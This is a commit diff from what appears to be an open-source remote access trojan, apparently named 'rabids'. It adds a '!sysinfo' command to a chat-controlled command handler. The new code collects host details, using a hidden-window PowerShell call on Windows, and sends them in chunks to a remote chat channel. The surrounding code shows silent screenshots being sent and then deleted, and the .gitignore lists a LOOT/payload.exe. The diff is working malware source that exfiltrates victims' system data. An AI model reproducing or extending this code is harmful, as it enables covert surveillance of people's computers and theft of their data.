Merge pull request #4 from Einstein2150/main
Implement !sysinfo command
This commit is contained in:
6
.gitignore
vendored
6
.gitignore
vendored
@ -1,4 +1,8 @@
|
|||||||
.DS_Store
|
.DS_Store
|
||||||
.LOOT
|
.LOOT
|
||||||
path
|
path
|
||||||
rabids_config.json
|
rabids_config.json
|
||||||
|
LOOT/payload.exe
|
||||||
|
LOOT/libssl-1_1-x64.dll
|
||||||
|
LOOT/libcrypto-1_1-x64.dll
|
||||||
|
LOOT/cacert.pem
|
||||||
|
|||||||
@ -110,6 +110,61 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
|||||||
elif cmd == "!pwd":
|
elif cmd == "!pwd":
|
||||||
return currentDir
|
return currentDir
|
||||||
|
|
||||||
|
elif cmd == "!sysinfo":
|
||||||
|
var resultMsg: string
|
||||||
|
const maxLen = 1900
|
||||||
|
when defined(linux):
|
||||||
|
let (unameOut, unameExit) = execCmdEx("uname -a", options = {poUsePath}, workingDir = currentDir)
|
||||||
|
let (lsbOut, lsbExit) = execCmdEx("bash -c \"lsb_release -d 2>/dev/null\"", options = {poUsePath}, workingDir = currentDir)
|
||||||
|
if unameExit == 0:
|
||||||
|
var info = unameOut
|
||||||
|
if lsbExit == 0 and lsbOut.len > 0:
|
||||||
|
info &= "\n" & lsbOut
|
||||||
|
var remaining = info
|
||||||
|
while remaining.len > 0:
|
||||||
|
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
|
||||||
|
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
|
||||||
|
if remaining.len > maxLen:
|
||||||
|
remaining = remaining[maxLen .. ^1]
|
||||||
|
else:
|
||||||
|
remaining = ""
|
||||||
|
resultMsg = "System info sent."
|
||||||
|
else:
|
||||||
|
resultMsg = "Failed to get system info: " & unameOut
|
||||||
|
elif defined(windows):
|
||||||
|
let powershellScript = "Get-ComputerInfo | ConvertTo-Json"
|
||||||
|
let command = "powershell -NoProfile -WindowStyle Hidden -Command \"" & powershellScript & "\""
|
||||||
|
let (output, exitCode) = execCmdEx(command, options = {poUsePath}, workingDir = currentDir)
|
||||||
|
if exitCode != 0:
|
||||||
|
resultMsg = "command failed with exit code " & $exitCode & ":\n" & output
|
||||||
|
else:
|
||||||
|
var remaining = output
|
||||||
|
while remaining.len > 0:
|
||||||
|
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
|
||||||
|
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
|
||||||
|
if remaining.len > maxLen:
|
||||||
|
remaining = remaining[maxLen .. ^1]
|
||||||
|
else:
|
||||||
|
remaining = ""
|
||||||
|
resultMsg = "System info sent."
|
||||||
|
elif defined(macosx):
|
||||||
|
let (output, exitCode) = execCmdEx("system_profiler SPHardwareDataType", options = {poUsePath}, workingDir = currentDir)
|
||||||
|
if exitCode != 0:
|
||||||
|
resultMsg = "command failed with exit code " & $exitCode & ":\n" & output
|
||||||
|
else:
|
||||||
|
var remaining = output
|
||||||
|
while remaining.len > 0:
|
||||||
|
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
|
||||||
|
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
|
||||||
|
if remaining.len > maxLen:
|
||||||
|
remaining = remaining[maxLen .. ^1]
|
||||||
|
else:
|
||||||
|
remaining = ""
|
||||||
|
resultMsg = "System info sent."
|
||||||
|
else:
|
||||||
|
resultMsg = "sysinfo not supported on this platform."
|
||||||
|
return resultMsg
|
||||||
|
|
||||||
elif cmd.startsWith("!cd "):
|
elif cmd.startsWith("!cd "):
|
||||||
let newDir = cmd[3..^1].strip()
|
let newDir = cmd[3..^1].strip()
|
||||||
let targetDir = if os.isAbsolute(newDir): newDir else: os.joinPath(currentDir, newDir)
|
let targetDir = if os.isAbsolute(newDir): newDir else: os.joinPath(currentDir, newDir)
|
||||||
@ -187,9 +242,9 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
|||||||
let (output, exitCode) = execCmdEx("screencapture -x " & filePath)
|
let (output, exitCode) = execCmdEx("screencapture -x " & filePath)
|
||||||
if exitCode == 0 and fileExists(filePath):
|
if exitCode == 0 and fileExists(filePath):
|
||||||
await sendFile(m.channel_id, filePath, fileName)
|
await sendFile(m.channel_id, filePath, fileName)
|
||||||
if fileExists(filePath):
|
if fileExists(filePath):
|
||||||
removeFile(filePath)
|
removeFile(filePath)
|
||||||
return "screenshot taken, sent and deleted!"
|
return "screenshot taken, sent and deleted!"
|
||||||
else:
|
else:
|
||||||
return "failed to take screenshot: " & output
|
return "failed to take screenshot: " & output
|
||||||
elif defined(windows):
|
elif defined(windows):
|
||||||
|
|||||||
Reference in New Issue
Block a user